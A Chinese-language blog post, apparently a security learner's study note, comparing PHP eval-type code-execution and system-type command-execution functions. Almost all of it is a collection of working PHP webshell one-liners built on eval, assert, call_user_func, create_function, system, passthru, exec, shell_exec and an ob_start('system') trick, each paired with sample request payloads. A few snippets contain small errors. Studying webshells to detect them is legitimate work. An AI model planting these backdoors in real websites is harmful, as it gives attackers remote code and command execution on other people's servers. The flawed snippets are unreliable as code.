PHP后門的eval類和system類 函數到底有哪些區別


一、

  一直以來對PHP的eval這一類函數和system這一類存在疑惑的地方,今天徹底研究了一下,寫查PHP一句話的時候可以更有把握一些。其實都是一些滿基礎的知識,大佬別噴。干安全的基礎很重要。

 

二、PHP的eval類型函數,一句話:代碼執行而不是命令執行。(菜刀用這類)

1、簡單類

 1 //#1-eval
 2 <?php
 3     eval($_POST["cmd"])
 4 ?>
 5 //post:cmd=phpinfo();
 6 
 7 
 8 //#2-assert
 9 <?php
10     assert($_POST["cmd"])
11 ?>
12 //post:cmd=phpinfo();
13 
14 
15 //#3-call_user_func
16 <?php
17     call_user_func($_POST["fun"],$_POST["para"])
18 ?>
19 //post:fun=assert&para=phpinfo();

2、復雜類

 1 //#1-create_function
 2 <?php 
 3     $a= $_POST['func'];
 4     $b = create_function('$a',"echo $a");
 5     $b('');
 6 ?>
 7 //post:func=phpinfo();
 8 
 9 
10 //#2-array_map------->這個不懂先記下來
11 <?php
12     $array = array(0,1,2,3,4,5);
13     array_map($_GET['func'],$array);
14 ?>
15 //post:func=phpinfo

三、PHP的system類型函數,一句話:命令執行而不是代碼執行。

 1 //#1-system
 2 <?php system($_POST["cmd"]);?>
 3 
 4 //#2-passthru
 5 <?php passthru($_POST["cmd"]);?>
 6 
 7 //#3-exec
 8 <?php echo exec($_POST["cmd"]);?>
 9 
10 //#4-pcntl_exec
11 <?php 
12     pcntl_exec("/bin/bash",array($_POST["cmd"]));
13 ?>
14 
15 //#5-shell_exec
16 <?php echo shell_exec($_POST["cmd"]); ?>
17 
18 //#6-popen()/proc_popen()
19 <?php $handle = popen("/bin/ls","r");?>
20 
21 //#7-``
22 <?php echo `whoami`?>

 高深一點的:

1 <?php
2 $cmd = 'system';
3 ob_start($cmd)
4 echo "$_GET[a]";
5 ob_end_flush();
6 ?>//?a=whoami

 


免責聲明!

本站轉載的文章為個人學習借鑒使用,本站對版權不負任何法律責任。如果侵犯了您的隱私權益,請聯系本站郵箱yoyou2525@163.com刪除。



 
粵ICP備18138465號   © 2018-2025 CODEPRJ.COM